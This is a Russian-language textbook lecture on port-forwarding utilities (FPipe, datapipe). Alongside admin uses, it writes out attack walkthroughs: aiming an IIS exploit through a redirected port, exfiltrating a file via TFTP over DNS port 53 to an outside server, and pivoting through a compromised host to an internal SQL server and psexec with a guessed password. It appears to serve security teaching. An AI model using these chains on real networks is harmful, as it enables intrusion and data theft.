Перенаправление портов
Пример из жизни. Перенаправление портов
Инструменты перенаправления портов процветают за счет широкого применения техники Port Hopping. Используйте средства перенаправления портов, чтобы создать альтернативные порты для установленного сервиса на локальном хосте localhost, переадресуйте запросы, идущие к локальному хосту на альтернативный сервер и проложите подключения через брандмауэр.
Локальные перенаправления. Программные средства перенаправления портов могут использоваться для назначения сервису альтернативного порта. Для администраторов Unix этот совет звучит как бесполезный, неэлегантный шаг. В конце концов, порт прослушивания для большинства сервисов Unix можно изменить в текстовом файле. В системах Windows единственное спасение - изменить установку системного реестра, если она существует, или использовать утилиту перенаправления портов. Например, нетрудно изменить порт прослушивания для сервера терминалов Windows (Windows Terminal Server), модифицировав установку системного реестра или использовав утилиту FPipe:
C:\>fpipe -l 22 -r 3389 localhost
Это позволяет вам открыть единственный порт на брандмауэре для удаленного администрирования ваших систем SSH и сервера терминалов (Terminal Server), назначая обоим сервисам один и тот же порт.
Если вы предпочитаете использовать для шлюза систему Linux, вы могли бы установить правило перенаправления портов в iptables для сервера терминалов, находящегося позади шлюза. В качестве альтернативы используйте утилиту datapipe, чтобы переслать входящие подключения на порт с номером 3389 к серверу терминалов.
$./datapipe 3389 3389 172.16.19.12
Переадресация клиента. Мы уже демонстрировали перенаправление портов для Web-клиента. Более насущный пример - это использование перенаправления порта для предварительно скомпилированных средств атаки ( exploit ). Программа взлома позволяет пользователю самому выбирать и указывать адрес цели (IP-адрес), но не всегда позволяет выбирать порт. Пусть spork - программа взлома IIS для атаки через порт 80. Во время сканирования утилитой nmap вы обнаруживаете IIS-сервер, использующий порт 7070. Инструмент перенаправления портов решает проблему несоответствия портов. Из двух методов, приведенных ниже, выберите тот, который подходит для вашей системы:
C:\>fpipe -l 80 -r 7070 www.target.com $ ./datapipe 80 7070 www.target.com
Затем выполните программу spork для взлома локального хоста localhost. Она предполагает, что портом назначения является порт 80. Утилита FPipe (или datapipe ) принимает подключение к порту 80 и затем пересылает данные на порт 7070 на узле http://www.target.com.
C:\>spork localhost
Эта методика также используется, чтобы обойти ограничения брандмауэра. Например, вслед за наплывом вирусов-червей IIS в 2001 г., находчивые администраторы блокировали выходящие ( outbound ) запросы к UDP-порту 69 (сервис TFTP - Trivial FTP). Попробуйте использовать режим UDP утилиты FPipe, чтобы перенаправить TFTP-запросы через UDP-порт 53, обычно зарезервированный для DNS-трафика. В системах Windows клиент TFTP не разрешит вам указать альтернативный порт назначения. Следовательно, вы должны установить локальное перенаправление порта для TFTP-клиента, переправив запросы к вашему модифицированному TFTP-серверу. Не забудьте указать параметр -u для режима UDP:
C:\>fpipe -l 69 -r 53 -u 192.168.0.116 C:\>tftp -i localhost PUT researchdata.zip
Ваш собственный TFTP-сервер прослушивает UDP-порт 53 на хосте 192.168.0.116. Эти две команды выполнены с сервера позади брандмауэра, а файл researchdata.zip загружен в удаленный компьютер - и все это с использованием порта, обычно ассоциирующегося с разрешением имен.
Двойная переадресация. Этот сценарий задействует четыре хоста: A, B, C и D. Хосты A и B - собственные системы взломщика. Другими словами, никакие программы взлома не потребовались для получения доступа к этим хостам. Хосты C и D - системы жертвы, отделенные от взломщика брандмауэром. Хост C является Web-сервером. Хост D, конечная цель атаки, является базой данных SQL. Этот сценарий должен продемонстрировать, как единственно уязвимое место на Web-сервере может быть использовано для расширения возможностей его дискредитации. Взломщик способен просматривать произвольные файлы на Web-сервере, включая файл, который содержит имя пользователя базы данных и его пароль. Взломщик может даже выполнять произвольные команды на Web-сервере. Однако база данных была чрезвычайно хорошо защищена, ведь она содержит информацию, касающуюся кредитных карточек. Поэтому открыты были только порты 445 (SMB) и 1433 (SQL).
Следующая иллюстрация дает общее представление о сети, которая является целью для взлома.
Хост A является системой Windows 2000 с клиентом управления базой данных Microsoft SQL. Клиент SQL, в конечном счете, соединится с базой данных SQL, расположенной на хосте D.
Хост B выполняет утилиту FPipe. Этот хост не обязан быть отдельным физическим хостом. В системе Windows есть SQL-клиенты и утилита FPipe, в то время как в Linux - SQL-клиенты и утилита datapipe. Хост B мог бы даже быть виртуальной системой VMware. Обратите внимание, что можно назначить альтернативный порт получателя в клиенте SQL, но мы должны использовать трюк с портом отправителя!
Брандмауэр разрешает выход в сеть для FTP, электронной почты и Web-сервисов через TCP-порты 21, 25 и 80.
Хост C представляет собой комбинацию FTP и почтового сервера, защищенных брандмауэром. Представьте себе, что на хосте C выполняется уязвимая версия WU-FTPD, которая допускает привилегированный доступ ( root ) из командной строки (это, действительно, реальная уязвимость). Чтобы сработала такая атака, должна существовать какая-нибудь уязвимость на сервере позади брандмауэра, которая дает нам возможность выполнить утилиту перенаправления порта. Еще раз, перенаправление порта - это метод, позволяющий обойти ограничения доступа к порту. Соответствующий программный код не является кодом атаки ( exploit code ).
Просматривая Web-сервер, мы обнаруживаем файл database.inc, который содержит строку подключения для IIS для связи с базой данных, хост D:
strDB = "Provider=SQLOLEDB;Data Source=financedb; Initial Catalog=Payroll; User Id=sa;Password=""
Хост D представляет собой систему Windows 2000, выполняющую SQL сервер 7.0. Эта система является нашей целью. Мы обнаруживаем строку подключения с Web-сервера, но мы не имеем никакого доступа к порту управления базой данных, 1433.
Нападение требует двух перенаправлений порта. Хост B прост. Мы только прослушиваем заданный по умолчанию SQL-порт и перенаправляем трафик нашему дискредитированному хосту, расположенному позади брандмауэра:
Host B: c:\> fpipe -l 1433 -r 80 <Host C>
Хост C требует некоторого размышления. Брандмауэр разрешает использовать порты 21, 25 и 80. К сожалению, портам 21 и 25 уже назначены сервисы. Мы не можем назначать два различных сервиса (FTP и datapipe, например) одному и тому же порту.
К счастью, в сети имеется Web-сервер, так что брандмауэр разрешает также использование порта 80. Мы будем прослушивать этот порт.
Host C: $ ./datapipe 80 1433 <Host D>
Далее, хост A открывает SQL-клиент и обращается к хосту B через порт 1433. Хост B переправляет это подключение на порт 80 на хосте C, который в свою очередь переправляет подключение к порту 1433 на хосте D. Готово! Произошло законченное SQL-подключение! Если бы брандмауэр заблокировал HTTP-трафик к хосту C (а такое возможно, так как он не является Web-сервером), то все случившееся было бы невозможно.
Дальнейшее расширение влияния. В предыдущем сценарии мы получили доступ на хост D через SQL-сервер, однако, хост D имел также открытый порт 445. Чтобы выполнить полный аудит системы, можно попробовать применить некоторые инструменты инвентаризации ( enumeration ), о которых шла речь в лекции "Средства ревизии Windows" . Эти программные средства требуют доступа к портам Windows NetBIOS. Для начала можно было бы попробовать использовать утилиту FPipe для прослушивания порта 445 и переправить трафик, идущий через порт 80, но здесь есть загвоздка: Windows 2000 и XP используют порт 445 для NetBIOS и не позволяют этот порт закрывать. С другой стороны, мы не можем иметь два сервиса ( FPipe и NetBIOS ), назначенных на один и тот же номер порта. Похоже, что мы должны включить сеанс VMware с FreeBSD и использовать утилиту datapipe.
Host B: $ ./datapipe 445 80 <Host C>
Не имеет значения, является ли дискредитированный хост системой Unix или Windows, но на порте 80 нечего прослушивать, кроме нашей утилиты datapipe.
Host C: $ ./datapipe 80 445 <Host D>
До доступа к командной строке остается один шаг. Нам нужны имя пользователя и пароль. Возможно, он создан с помощью MS SQL-процедуры xp_cmdshell с командой net user, а возможно, пароль администратора - просто "password". Тогда мы выполняем утилиту psexec с хоста A через туннель, созданный перенаправлением порта:
Host A: c:\>psexec \\hostB -u administrator -p password "ipconfig /all"
эта строка запускает на выполнение программу ipconfig.exe на хосте D и показывает всю информацию о его сетевом адаптере. Детальную информацию об утилите psexec см. в лекции "Средства ревизии Windows" .
Имеются и более простые методы доступа к базе данных SQL, такие как загрузка пакета Samba или SQL-клиента командной строки на дискредитированную систему. Мы только продемонстрировали манипуляцию с портами, которая действует прозрачно между клиентом и сервером, независимо от используемого протокола. На жаргоне Perl это звучит как TMTOWTDI - "There's More Than One Way To Do It!" (Существует не один способ сделать это!)